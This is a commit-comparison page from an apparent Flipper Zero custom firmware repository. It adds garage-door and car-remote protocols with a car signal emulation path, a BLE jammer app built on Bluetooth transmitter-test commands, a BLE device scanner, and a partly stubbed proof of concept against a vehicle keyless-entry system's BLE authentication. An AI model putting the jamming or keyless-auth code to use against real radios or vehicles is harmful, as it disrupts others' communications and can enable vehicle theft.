Compare commits

...
Author SHA1 Message Date
d4rks1d33 56701a815b A lot of new things, the connection with the mobile app isn't working, it's too late and I need to sleep, I'll take care of that tomorrow, it's a minor thing
Build Dev Firmware / build (push) Canceled after 0s
2026-07-25 02:21:15 -03:00
d4rks1d33 833c9ad29b Custom emulate on receiver when using full dpad without saving the signal
Build Dev Firmware / build (push) Canceled after 0s
2026-07-23 22:11:38 -03:00
d4rks1d33 8117e422d0 fixes
Build Dev Firmware / build (push) Canceled after 0s
2026-07-23 21:42:29 -03:00
d4rks1d33 a483f253c7 fix VAG and long press TX
Build Dev Firmware / build (push) Canceled after 0s
2026-07-23 21:34:25 -03:00
d4rks1d33 f71813e1c1 comment toyota
Build Dev Firmware / build (push) Canceled after 0s
2026-07-22 21:10:59 -03:00
d4rks1d33 656c92128f A lot of updates from protopirate to internal...this could gonne totally wrong lol
Build Dev Firmware / build (push) Canceled after 0s
2026-07-21 22:41:19 -03:00
d4rks1d33 b681cc919e More protocols on Garage Door App
Build Dev Firmware / build (push) Canceled after 0s
2026-07-20 23:00:14 -03:00
95 changed files with 14187 additions and 3188 deletions
+33 -2
View File
@@ -311,9 +311,32 @@ SubGhzTxRxStartTxState subghz_txrx_tx_start(SubGhzTxRx* instance, FlipperFormat*
}
ret = SubGhzTxRxStartTxStateOk;
const char* protocol_name = furi_string_get_cstr(temp_str);
const SubGhzProtocolCatalogEntry* catalog_entry =
subghz_protocol_catalog_find(protocol_name);
if(catalog_entry && catalog_entry->route_policy != SubGhzProtocolCatalogRoutePolicyByModulation) {
const char* expected_preset =
subghz_protocol_catalog_route_to_preset_name(
subghz_protocol_catalog_get_route(
furi_string_get_cstr(instance->preset->name),
instance->preset->frequency,
instance->preset->data,
instance->preset->data_size,
protocol_name));
if(strcmp(furi_string_get_cstr(instance->preset->name), expected_preset) != 0) {
furi_string_set_str(instance->preset->name, expected_preset);
size_t preset_idx = subghz_setting_get_inx_preset_by_name(
instance->setting, expected_preset);
instance->preset->data =
subghz_setting_get_preset_data(instance->setting, preset_idx);
instance->preset->data_size =
subghz_setting_get_preset_data_size(instance->setting, preset_idx);
}
}
SubGhzRadioPreset* preset = instance->preset;
instance->transmitter =
subghz_transmitter_alloc_init(instance->environment, furi_string_get_cstr(temp_str));
subghz_transmitter_alloc_init(instance->environment, protocol_name);
if(instance->transmitter) {
if(subghz_transmitter_deserialize(instance->transmitter, flipper_format) ==
@@ -567,7 +590,15 @@ static void subghz_txrx_apply_preset_fast(
const PresetDeltaEntry* e = &preset_delta_table[from_idx][to_idx];
furi_hal_subghz_apply_preset_delta(e->delta, e->delta_len, e->needs_scal, e->pa_table);
} else {
// Fallback: original behavior (full reload)
// Fallback: full reload. If the modulation itself changed (AM<->FM), reset the
// radio first so the new preset isn't applied on top of stale modulation state.
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
}
subghz_devices_load_preset(
instance->radio_device, FuriHalSubGhzPresetCustom, instance->preset->data);
}
@@ -189,7 +189,7 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
stream_copy_full(src, dst);
stream_seek(dst, 0, StreamOffsetFromStart);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCarEmulate);
return true;
}
+8
View File
@@ -2,6 +2,7 @@
#include "assets_icons.h"
#include "subghz/types.h"
#include <lib/subghz/protocols/protocol_items.h>
#include <furi.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
@@ -157,6 +158,13 @@ bool subghz_key_load(SubGhz* subghz, const char* file_path, bool show_dialog) {
break;
}
const char* protocol_display =
subghz_protocol_catalog_display_name(
furi_string_get_cstr(temp_str), temp_data32);
if(protocol_display) {
FURI_LOG_D(TAG, "Protocol display name: %s", protocol_display);
}
FlipperFormat* fff_data = subghz_txrx_get_fff_data(subghz->txrx);
if(!strcmp(furi_string_get_cstr(temp_str), "RAW")) {
//if RAW
@@ -56,24 +56,58 @@ App(
"protocols/keys.c",
"protocols/alutech_at_4n.c",
"protocols/beninca_arc.c",
"protocols/bett.c",
"protocols/bin_raw.c",
"protocols/came.c",
"protocols/came_atomo.c",
"protocols/came_twee.c",
"protocols/chamberlain_code.c",
"protocols/clemsa.c",
"protocols/dickert_mahs.c",
"protocols/doitrand.c",
"protocols/dooya.c",
"protocols/elplast.c",
"protocols/faac_slh.c",
"protocols/feron.c",
"protocols/gangqi.c",
"protocols/gate_tx.c",
"protocols/hay21.c",
"protocols/hollarm.c",
"protocols/holtek.c",
"protocols/holtek_ht12x.c",
"protocols/honeywell.c",
"protocols/honeywell_wdb.c",
"protocols/hormann.c",
"protocols/ido.c",
"protocols/intertechno_v3.c",
"protocols/jarolift.c",
"protocols/keeloq.c",
"protocols/keyfinder.c",
"protocols/kinggates_stylo_4k.c",
"protocols/legrand.c",
"protocols/linear.c",
"protocols/linear_delta3.c",
"protocols/magellan.c",
"protocols/marantec.c",
"protocols/marantec24.c",
"protocols/mastercode.c",
"protocols/megacode.c",
"protocols/nero_radio.c",
"protocols/nero_sketch.c",
"protocols/nice_flo.c",
"protocols/nice_flor_s.c",
"protocols/phoenix_v2.c",
"protocols/power_smart.c",
"protocols/princeton.c",
"protocols/raw.c",
"protocols/revers_rb2.c",
"protocols/roger.c",
"protocols/secplus_v1.c",
"protocols/secplus_v2.c",
"protocols/smc5326.c",
"protocols/somfy_keytis.c",
"protocols/somfy_telis.c",
"protocols/treadmill37.c",
],
fal_embedded=True,
)
@@ -255,7 +255,7 @@ static void subghz_protocol_hay21_remote_controller(SubGhzBlockGeneric* instance
//1877BD = 000 11000011 10111101 1110 1
//0B57BF = 000 01011010 10111101 1111 1
}
}
SubGhzProtocolStatus
subghz_protocol_encoder_hay21_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
@@ -27,32 +27,7 @@ static const InputKey EMULATE_TOGGLE_COMBO[] = {
static const char* credits[] = {
"",
"-=> App Development by",
"RocketGod",
"MMX",
"Leeroy",
"gullradriel",
"Skorp's Weather App",
"Vadim's Radio Driver",
"-=> Protocol Magic by",
"L0rdDiakon",
"Leeroy",
"Li0ard",
"MMX",
"YougZ",
"DoobTheGoober",
"RocketGod",
"Skorp",
"Slackware",
"Trikk",
"Wootini",
"-=> RE Support",
"DoobTheGoober",
"Li0ard",
"MMX",
"NeedNotApply",
"RocketGod",
"Slackware",
"Trikk",
"The community with <3",
// can add more
};
@@ -93,7 +68,7 @@ static void about_draw_callback(Canvas* canvas, void* context) {
canvas, 64, 18, AlignCenter, AlignBottom, ">>>=================<<<");
} else {
canvas_draw_str_aligned(
canvas, 64, 18, AlignCenter, AlignBottom, ">>>======[TPP]======<<<");
canvas, 64, 18, AlignCenter, AlignBottom, ">>>=================<<<");
}
// Draw credits region (clip area)
@@ -136,7 +111,7 @@ static void about_draw_callback(Canvas* canvas, void* context) {
canvas, 64, 18, AlignCenter, AlignBottom, ">>>=================<<<");
} else {
canvas_draw_str_aligned(
canvas, 64, 18, AlignCenter, AlignBottom, ">>>======[TPP]======<<<");
canvas, 64, 18, AlignCenter, AlignBottom, ">>>=================<<<");
}
// Redraw static in header area
@@ -147,7 +122,7 @@ static void about_draw_callback(Canvas* canvas, void* context) {
// Footer: The Pirate's Plunder Discord
canvas_set_font(canvas, FontKeyboard);
canvas_draw_str_aligned(canvas, 127, 62, AlignRight, AlignBottom, "discord.gg/thepirates");
canvas_draw_str_aligned(canvas, 127, 62, AlignRight, AlignBottom, "");
// Rare subtle glitch bar
if(rand() % 30 == 0) {
@@ -0,0 +1,13 @@
App(
appid="ble_jammer",
name="BLE Jammer",
apptype=FlipperAppType.EXTERNAL,
entry_point="ble_jammer_app",
stack_size=1024,
fap_icon="icon.png",
fap_category="Bluetooth",
fap_icon_assets="images",
fap_author="W0rthlessS0ul (ported by d4rks1d3)",
fap_weburl="https://github.com/W0rthlessS0ul/FZ_nRF24_jammer",
fap_version="1.4.0",
)
File diff suppressed because it is too large Load Diff
+63
View File
@@ -0,0 +1,63 @@
#include "hci_test.h"
#include <string.h>
struct hci_request {
uint16_t ogf;
uint16_t ocf;
int event;
void* cparam;
int clen;
void* rparam;
int rlen;
};
extern int hci_send_req(struct hci_request* req, uint8_t async);
#define HCI_OGF_LE 0x08
#define HCI_OCF_LE_TRANSMITTER_TEST 0x001E
#define HCI_OCF_LE_TEST_END 0x001F
int hci_test_tx_start(uint8_t rf_channel, uint8_t packet_type) {
struct hci_request req;
uint8_t params[3];
uint8_t status;
memset(&req, 0, sizeof(req));
params[0] = rf_channel;
params[1] = 37;
params[2] = packet_type;
req.ogf = HCI_OGF_LE;
req.ocf = HCI_OCF_LE_TRANSMITTER_TEST;
req.cparam = params;
req.clen = sizeof(params);
req.rparam = &status;
req.rlen = 1;
if(hci_send_req(&req, 0) < 0) return -1;
return (status == 0) ? 0 : -1;
}
int hci_test_stop(void) {
struct hci_request req;
uint8_t resp[3];
memset(&req, 0, sizeof(req));
req.ogf = HCI_OGF_LE;
req.ocf = HCI_OCF_LE_TEST_END;
req.cparam = NULL;
req.clen = 0;
req.rparam = resp;
req.rlen = sizeof(resp);
if(hci_send_req(&req, 0) < 0) return -1;
return (resp[0] == 0) ? 0 : -1;
}
int hci_test_nrf24_to_ble_ch(uint8_t nrf24_ch, int* ble_ch) {
if(nrf24_ch < 2) return -1;
int freq_mhz = 2400 + nrf24_ch;
if(freq_mhz < 2402 || freq_mhz > 2480) return -1;
*ble_ch = (nrf24_ch - 2) / 2;
return 0;
}
@@ -0,0 +1,6 @@
#pragma once
#include <stdint.h>
int hci_test_tx_start(uint8_t rf_channel, uint8_t packet_type);
int hci_test_stop(void);
int hci_test_nrf24_to_ble_ch(uint8_t nrf24_ch, int* ble_ch);
Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 999 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 608 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 581 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 675 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 645 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 757 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 739 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 686 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 662 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 650 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 599 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 600 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 648 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 594 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 535 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 722 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 685 B

@@ -0,0 +1,17 @@
App(
appid="ble_scanner",
name="BLE Scanner",
apptype=FlipperAppType.EXTERNAL,
entry_point="ble_scanner_app",
stack_size=4 * 1024,
fap_category="Bluetooth",
fap_libs=["ble_central"],
requires=["gui"],
sources=[
"ble_scanner.c",
],
fap_author="d4rks1d3",
fap_weburl="https://github.com/d4rks1d3",
fap_version="0.1",
fap_description="Scan and display nearby BLE devices (phones, headphones, etc.)",
)
@@ -0,0 +1,444 @@
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/submenu.h>
#include <gui/modules/text_box.h>
#include <lib/ble_central/ble_central.h>
#include <string.h>
#define TAG "BleScanner"
#define BLE_SCANNER_MAX_DEVICES 32
#define BLE_SCANNER_NAME_MAX_LEN 32
typedef struct {
uint32_t prefix;
const char* vendor;
} OuiEntry;
static const OuiEntry oui_table[] = {
{0x70B5E8, "ZTE"},
{0x8CD3A8, "Xiaomi"},
{0x9CE338, "Xiaomi"},
{0x48E7DA, "Xiaomi"},
{0x04CF8C, "Xiaomi"},
{0x6802B8, "Xiaomi"},
{0xA4C138, "Xiaomi"},
{0xF8A45F, "Xiaomi"},
{0x30C6F7, "Xiaomi"},
{0xCCE7DF, "Xiaomi"},
{0xACA220, "Xiaomi"},
{0x18A6F7, "Samsung"},
{0x2C54CF, "Samsung"},
{0x5CF9DD, "Samsung"},
{0x8C8EF2, "Samsung"},
{0x9C2A70, "Samsung"},
{0xA40CC3, "Samsung"},
{0xB8AD0E, "Samsung"},
{0xCC3A61, "Samsung"},
{0xE0B9BA, "Samsung"},
{0xEC1FA6, "Samsung"},
{0xF0B0E7, "Samsung"},
{0x58500E, "Samsung"},
{0x34C34C, "Samsung"},
{0x3C7DB1, "Samsung"},
{0xA88792, "Samsung"},
{0xDC0B6C, "Samsung"},
{0xE87DBD, "Samsung"},
{0xAC5F3E, "Samsung"},
{0x38C7BA, "Samsung"},
{0x001122, "Apple"},
{0x0025BC, "Apple"},
{0x003065, "Apple"},
{0x003F2E, "Apple"},
{0x003F35, "Apple"},
{0x00601C, "Apple"},
{0x00719B, "Apple"},
{0x00A040, "Apple"},
{0x00D8E1, "Apple"},
{0x04B133, "Apple"},
{0x04E536, "Apple"},
{0x08EBED, "Apple"},
{0x0C3076, "Apple"},
{0x0C9361, "Apple"},
{0x10A932, "Apple"},
{0x140D4F, "Apple"},
{0x181F32, "Apple"},
{0x1C36F3, "Apple"},
{0x1C9272, "Apple"},
{0x203565, "Apple"},
{0x28CFE9, "Apple"},
{0x2C200B, "Apple"},
{0x2CF0A2, "Apple"},
{0x30D366, "Apple"},
{0x349A0D, "Apple"},
{0x3820D1, "Apple"},
{0x3C0754, "Apple"},
{0x3CD0F8, "Apple"},
{0x401D58, "Apple"},
{0x44239C, "Apple"},
{0x4843CD, "Apple"},
{0x4C6B39, "Apple"},
{0x54132F, "Apple"},
{0x58676A, "Apple"},
{0x5C34EF, "Apple"},
{0x603B6E, "Apple"},
{0x64A31B, "Apple"},
{0x68AE20, "Apple"},
{0x6C3BA1, "Apple"},
{0x6C720E, "Apple"},
{0x70D88E, "Apple"},
{0x78A351, "Apple"},
{0x7C11BE, "Apple"},
{0x800017, "Apple"},
{0x84968C, "Apple"},
{0x88D51C, "Apple"},
{0x8C8590, "Apple"},
{0x8CDE52, "Apple"},
{0x909FB9, "Apple"},
{0x98FE94, "Apple"},
{0xA095B0, "Apple"},
{0xA4D1D2, "Apple"},
{0xA8B84F, "Apple"},
{0xB0487A, "Apple"},
{0xB0B2DC, "Apple"},
{0xB45987, "Apple"},
{0xB89675, "Apple"},
{0xBC1665, "Apple"},
{0xC0B593, "Apple"},
{0xC44B87, "Apple"},
{0xC81A9E, "Apple"},
{0xC8B5AD, "Apple"},
{0xCC25EF, "Apple"},
{0xD039B3, "Apple"},
{0xD42C3A, "Apple"},
{0xD44F82, "Apple"},
{0xD8031F, "Apple"},
{0xE062E6, "Apple"},
{0xE0F5C6, "Apple"},
{0xE8A7A7, "Apple"},
{0xF0B0E8, "Apple"},
{0xF0D1B9, "Apple"},
{0xF47F35, "Apple"},
{0xF8313E, "Apple"},
{0xFC145E, "Apple"},
{0xFC9F5E, "Apple"},
{0xA03860, "Google"},
{0x94885E, "Google"},
{0x7483C2, "Google"},
{0x643F5F, "Google"},
{0x286AB8, "Google"},
{0x1868CB, "Google"},
{0x0CCD9F, "Google"},
{0x60A4B7, "Google"},
{0x14A764, "Google"},
{0x8871E5, "Google"},
{0x486C8C, "Google"},
{0x24AB81, "Google"},
{0x3C28A6, "Google"},
{0xD0E178, "Google"},
{0x2C5BE7, "Google"},
{0x28B0CC, "Google"},
{0x94A7B7, "Google"},
{0xA44E2F, "Google"},
{0x5C8FE6, "Google"},
{0x3898D8, "Google"},
{0x9CADEF, "Google"},
{0x5859D5, "Google"},
{0x30C7AE, "Google"},
{0x18DED7, "Google"},
{0x24A642, "Google"},
{0x70781E, "Google"},
{0x5C639C, "Google"},
{0xD089E2, "Google"},
{0x54E1AD, "Google"},
{0x00C538, "Huawei"},
{0x34C9F0, "Huawei"},
{0x0C5A9B, "Huawei"},
{0xCCF1A0, "Huawei"},
{0x3075B0, "Huawei"},
{0x18E7F4, "Huawei"},
{0xFCBDE8, "Huawei"},
{0xF8CEBA, "Huawei"},
{0x98039B, "Huawei"},
{0x704834, "Huawei"},
{0x50B8A2, "Huawei"},
{0x44D9E7, "Huawei"},
{0xD46A10, "Huawei"},
{0x00EDB9, "Sony"},
{0x18264E, "Sony"},
{0x2053CA, "Sony"},
{0x4C0F9E, "Sony"},
{0x5C515E, "Sony"},
{0x700BC7, "Sony"},
{0x9019D9, "Sony"},
{0xF44B2A, "Sony"},
{0xFCA59C, "Sony"},
{0x385E9B, "Sony"},
{0x5C9AD8, "Sony"},
{0x2CAB25, "Sony"},
{0x3816D1, "Sony"},
{0x5863F6, "Sony"},
{0x5084C2, "Sony"},
{0x68DB54, "Sony"},
{0x001CDF, "OnePlus"},
{0x00503D, "Intel"},
{0x00237B, "Intel"},
{0x0030D7, "Motorola"},
{0x00D0A9, "LG"},
{0x886B76, "LG"},
{0x482C71, "LG"},
{0xC8F733, "LG"},
{0x38B12D, "LG"},
{0x9815A4, "LG"},
{0xECF236, "LG"},
{0x605718, "LG"},
{0x682C7B, "LG"},
{0x4851B7, "Bose"},
{0x042C97, "Bose"},
{0x00A050, "Bose"},
{0x74EF7E, "Bose"},
{0xF872EA, "Bose"},
{0x382565, "Bose"},
{0x00E06C, "JBL/Harman"},
{0x2CDD0C, "JBL/Harman"},
{0x64A6E6, "JBL/Harman"},
{0x8C6B97, "JBL/Harman"},
{0xF81D93, "JBL/Harman"},
{0x38F7D2, "JBL/Harman"},
{0x504A5E, "JBL/Harman"},
{0xE039D7, "JBL/Harman"},
{0x34DF2A, "Sennheiser"},
{0x1CE63B, "Sennheiser"},
{0x001C4A, "Plantronics"},
{0x5C4A9E, "Plantronics"},
{0x6C8336, "Plantronics"},
{0x801F02, "Plantronics"},
{0x00D02D, "Nest/Google"},
{0x18B430, "Nest/Google"},
{0x64DBA0, "Nest/Google"},
{0x7CC5A1, "Nest/Google"},
{0xB839D4, "Nest/Google"},
{0x00258A, "Roku"},
{0x00A0D2, "Roku"},
{0x005AA0, "Roku"},
{0x38062C, "Roku"},
{0x400B20, "Roku"},
{0x9CEBE8, "Roku"},
{0x0025E0, "Raspberry Pi"},
{0xB827EB, "Raspberry Pi"},
{0xDCA632, "Raspberry Pi"},
{0xE45F01, "Raspberry Pi"},
{0x287184, "Fitbit"},
{0x48D638, "Fitbit"},
{0x68372D, "Fitbit"},
{0x883AA3, "Fitbit"},
{0xAAF191, "Fitbit"},
{0xD8DCB5, "Fitbit"},
{0x00D8D7, "Garmin"},
{0x182666, "Garmin"},
{0x4C8AEE, "Garmin"},
{0x5C3A6D, "Garmin"},
{0x447E95, "Garmin"},
{0x68572D, "Garmin"},
{0x6C88D5, "Garmin"},
{0x90CF33, "Garmin"},
{0xB815F0, "Garmin"},
{0xB8921D, "Garmin"},
{0x0023AE, "Nokia"},
{0x644BC7, "Nokia"},
{0x14B17C, "Nokia"},
{0x289124, "Nokia"},
{0x482C6C, "Nokia"},
{0x4C3463, "Nokia"},
{0x802CA5, "Nokia"},
{0x84261F, "Nokia"},
{0x8C4D3E, "Nokia"},
{0xBC6373, "Nokia"},
{0xC8628B, "Nokia"},
{0x08229B, "Oculus/Meta"},
{0xCCA52A, "Oculus/Meta"},
{0x0CD6BD, "Oculus/Meta"},
{0x3871C5, "Oculus/Meta"},
{0xFC5CEF, "Oculus/Meta"},
{0x6CB06E, "Oculus/Meta"},
{0xE020E0, "Oculus/Meta"},
{0x3010A4, "Oculus/Meta"},
{0x00140A, "Microsoft"},
{0x00061B, "Microsoft"},
{0x0025AE, "Microsoft"},
{0x04A316, "Microsoft"},
{0x181804, "Microsoft"},
{0x1C6568, "Microsoft"},
{0x287184, "Microsoft"},
{0x44DF65, "Microsoft"},
{0x48D6D5, "Microsoft"},
{0x503EAA, "Microsoft"},
{0x60C5A8, "Microsoft"},
{0x64167F, "Microsoft"},
{0x7C1E52, "Microsoft"},
{0x8490AD, "Microsoft"},
{0x986DC0, "Microsoft"},
{0xA088B4, "Microsoft"},
{0x38700C, "TP-Link"},
{0x50C7BF, "TP-Link"},
{0x64D98B, "TP-Link"},
{0x84D46B, "TP-Link"},
{0xC02506, "TP-Link"},
{0xEC2280, "TP-Link"},
{0x001848, "Espressif"},
{0x18FE34, "Espressif"},
{0x24B2DE, "Espressif"},
{0x24E7C5, "Espressif"},
{0x24818D, "Espressif"},
{0x30AEA4, "Espressif"},
{0x3C71BF, "Espressif"},
{0x40F520, "Espressif"},
{0x5CE3B6, "Espressif"},
{0x68C63A, "Espressif"},
{0x84CCA8, "Espressif"},
{0x84F3EB, "Espressif"},
{0x8C2DAA, "Espressif"},
{0x8C7B9D, "Espressif"},
{0xA4611B, "Espressif"},
{0xAC67B2, "Espressif"},
{0xB4E62D, "Espressif"},
{0xC8F09E, "Espressif"},
{0xCC50E3, "Espressif"},
{0xDC4F22, "Espressif"},
{0xE0B9A5, "Espressif"},
{0xECFA5C, "Espressif"},
{0xF4CFA2, "Espressif"},
};
static const char* ble_scanner_lookup_oui(const uint8_t* addr) {
uint32_t prefix = ((uint32_t)addr[0] << 16) | ((uint32_t)addr[1] << 8) | addr[2];
for(size_t i = 0; i < COUNT_OF(oui_table); i++) {
if(oui_table[i].prefix == prefix) return oui_table[i].vendor;
}
return NULL;
}
typedef struct {
char name[BLE_SCANNER_NAME_MAX_LEN];
uint8_t address[6];
int8_t rssi;
uint8_t address_type;
} BleScannerDevice;
typedef enum {
BleScannerView_Submenu,
BleScannerView_TextBox,
} BleScannerView;
typedef struct {
Gui* gui;
ViewDispatcher* view_dispatcher;
Submenu* submenu;
TextBox* text_box;
BleScannerDevice devices[BLE_SCANNER_MAX_DEVICES];
size_t device_count;
FuriString* log_text;
} BleScannerApp;
static void ble_scanner_central_callback(BleCentralEventType event, void* device, void* context) {
BleScannerApp* app = context;
if(event == BleCentralEventDeviceFound) {
BleCentralAdvertisedDevice* adv = device;
if(app->device_count < BLE_SCANNER_MAX_DEVICES) {
BleScannerDevice* dev = &app->devices[app->device_count];
strncpy(dev->name, adv->name, BLE_SCANNER_NAME_MAX_LEN - 1);
dev->name[BLE_SCANNER_NAME_MAX_LEN - 1] = '\0';
memcpy(dev->address, adv->address, 6);
dev->rssi = adv->rssi;
dev->address_type = adv->address_type;
app->device_count++;
}
}
}
static bool ble_scanner_back_event_callback(void* context) {
UNUSED(context);
return false;
}
static BleScannerApp* ble_scanner_app_alloc(void) {
BleScannerApp* app = malloc(sizeof(BleScannerApp));
memset(app, 0, sizeof(BleScannerApp));
app->gui = furi_record_open(RECORD_GUI);
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_navigation_event_callback(app->view_dispatcher, ble_scanner_back_event_callback);
app->submenu = submenu_alloc();
view_dispatcher_add_view(app->view_dispatcher, BleScannerView_Submenu, submenu_get_view(app->submenu));
app->text_box = text_box_alloc();
view_dispatcher_add_view(app->view_dispatcher, BleScannerView_TextBox, text_box_get_view(app->text_box));
app->log_text = furi_string_alloc();
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
return app;
}
static void ble_scanner_app_free(BleScannerApp* app) {
furi_string_free(app->log_text);
view_dispatcher_remove_view(app->view_dispatcher, BleScannerView_Submenu);
submenu_free(app->submenu);
view_dispatcher_remove_view(app->view_dispatcher, BleScannerView_TextBox);
text_box_free(app->text_box);
view_dispatcher_free(app->view_dispatcher);
furi_record_close(RECORD_GUI);
free(app);
}
int32_t ble_scanner_app(void* p) {
UNUSED(p);
BleScannerApp* app = ble_scanner_app_alloc();
submenu_set_header(app->submenu, "BLE Scanner");
submenu_add_item(app->submenu, "Scan for devices", 0, NULL, NULL);
view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_Submenu);
app->device_count = 0;
bool ok = ble_central_scan_start(ble_scanner_central_callback, app);
if(!ok) {
furi_string_set_str(app->log_text, "ERROR: scan start failed!\n");
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_TextBox);
view_dispatcher_run(app->view_dispatcher);
ble_scanner_app_free(app);
return 0;
}
furi_delay_ms(4000);
ble_central_scan_stop();
furi_string_reset(app->log_text);
furi_string_cat_printf(app->log_text, "Found %zu devices:\n\n", app->device_count);
for(size_t i = 0; i < app->device_count; i++) {
BleScannerDevice* dev = &app->devices[i];
const char* vendor = ble_scanner_lookup_oui(dev->address);
if(dev->name[0]) {
furi_string_cat_printf(app->log_text, "%zu. %s\n", i + 1, dev->name);
} else if(vendor) {
furi_string_cat_printf(app->log_text, "%zu. [%s device]\n", i + 1, vendor);
} else {
furi_string_cat_printf(app->log_text, "%zu. (no name)\n", i + 1);
}
furi_string_cat_printf(app->log_text, " RSSI: %d\n\n", dev->rssi);
}
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_TextBox);
view_dispatcher_run(app->view_dispatcher);
ble_scanner_app_free(app);
return 0;
}
@@ -0,0 +1,28 @@
App(
appid="karr_poc_flipper",
name="KARR BLE PoC",
apptype=FlipperAppType.EXTERNAL,
entry_point="karr_poc_app",
stack_size=4 * 1024,
fap_category="Bluetooth",
fap_libs=["ble_central"],
requires=["gui"],
sources=[
"karr_poc.c",
"scenes/karr_poc_scene.c",
"scenes/karr_poc_scene_start.c",
"scenes/karr_poc_scene_scan.c",
"scenes/karr_poc_scene_device_menu.c",
"scenes/karr_poc_scene_auth.c",
"scenes/karr_poc_scene_result.c",
"scenes/karr_poc_scene_mayhem_menu.c",
"scenes/karr_poc_scene_mayhem_confirm.c",
"scenes/karr_poc_scene_mayhem_scan.c",
"scenes/karr_poc_scene_mayhem_run.c",
"helpers/karr_ble.c",
"helpers/qt_auth.c",
"helpers/qt_protocol.c",
],
fap_version="0.1",
fap_description="KARR/QTAP remote keyless system PoC",
)
@@ -0,0 +1,162 @@
#include "karr_ble.h"
#include <furi.h>
#include <string.h>
#include "ble_central.h"
#define TAG "KarrBle"
typedef struct {
KarrBleStatusCallback scan_callback;
void* scan_context;
bool scanning;
bool connected;
char unit_serial[KARR_BLE_NAME_MAX_LEN];
uint8_t hash[QT_HASH_OUT_LEN];
} KarrBle;
static KarrBle* karr_ble = NULL;
static void karr_ble_on_central_event(BleCentralEventType event, void* data, void* context) {
UNUSED(context);
if(!karr_ble) return;
switch(event) {
case BleCentralEventDeviceFound: {
BleCentralAdvertisedDevice* dev = (BleCentralAdvertisedDevice*)data;
if(karr_ble->scan_callback) {
karr_ble->scan_callback(
KarrBleStatus_DeviceFound, dev->name, karr_ble->scan_context);
}
break;
}
case BleCentralEventGattProcComplete: {
if(karr_ble->scanning && karr_ble->scan_callback) {
karr_ble->scan_callback(
KarrBleStatus_ScanStarted, "Discovery complete", karr_ble->scan_context);
}
break;
}
default:
break;
}
}
bool karr_ble_scan_start(KarrBleStatusCallback callback, void* context) {
if(!karr_ble) {
karr_ble = malloc(sizeof(KarrBle));
}
if(karr_ble->scanning) return false;
karr_ble->scan_callback = callback;
karr_ble->scan_context = context;
karr_ble->scanning = true;
if(!ble_central_scan_start(karr_ble_on_central_event, karr_ble)) {
karr_ble->scanning = false;
return false;
}
if(callback) callback(KarrBleStatus_ScanStarted, "Scanning...", context);
return true;
}
void karr_ble_scan_stop(void) {
if(!karr_ble || !karr_ble->scanning) return;
ble_central_scan_stop();
karr_ble->scanning = false;
karr_ble->scan_callback = NULL;
karr_ble->scan_context = NULL;
}
bool karr_ble_connect_and_auth(
const KarrBleDevice* device,
QtMode mode,
KarrBleStatusCallback callback,
void* context) {
furi_assert(device);
FURI_LOG_I(TAG, "connect_and_auth to '%s' (STUB)", device->name);
strncpy(karr_ble->unit_serial, device->name, sizeof(karr_ble->unit_serial) - 1);
karr_ble->unit_serial[sizeof(karr_ble->unit_serial) - 1] = '\0';
if(callback) callback(KarrBleStatus_Connecting, device->name, context);
karr_ble->connected = true;
if(callback) callback(KarrBleStatus_Connected, "Connected", context);
if(callback) callback(KarrBleStatus_ServiceDiscovered, "Service+Char OK", context);
uint8_t frame_buf[QT_MAX_FRAME_LEN];
size_t frame_len;
frame_len = qt_protocol_generate(QtCmd_AuthInit, NULL, 0, frame_buf, sizeof(frame_buf));
FURI_LOG_I(TAG, "TX Auth_Init (%zu bytes)", frame_len);
if(callback) callback(KarrBleStatus_AuthInitSent, "0x22 sent", context);
uint8_t fake_challenge[QT_CHALLENGE_LEN] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08};
char challenge_msg[32];
snprintf(
challenge_msg,
sizeof(challenge_msg),
"%02x%02x%02x%02x%02x%02x%02x%02x",
fake_challenge[0], fake_challenge[1], fake_challenge[2], fake_challenge[3],
fake_challenge[4], fake_challenge[5], fake_challenge[6], fake_challenge[7]);
if(callback) callback(KarrBleStatus_ChallengeReceived, challenge_msg, context);
bool hash_ok = qt_generate_hash(mode, fake_challenge, karr_ble->unit_serial, karr_ble->hash);
if(!hash_ok) {
FURI_LOG_E(TAG, "qt_generate_hash failed");
if(callback) callback(KarrBleStatus_Error, "Invalid serial for this mode", context);
return false;
}
frame_len = qt_protocol_generate(
QtCmd_AuthResponse, karr_ble->hash, QT_HASH_OUT_LEN, frame_buf, sizeof(frame_buf));
FURI_LOG_I(TAG, "TX Auth_Response (%zu bytes)", frame_len);
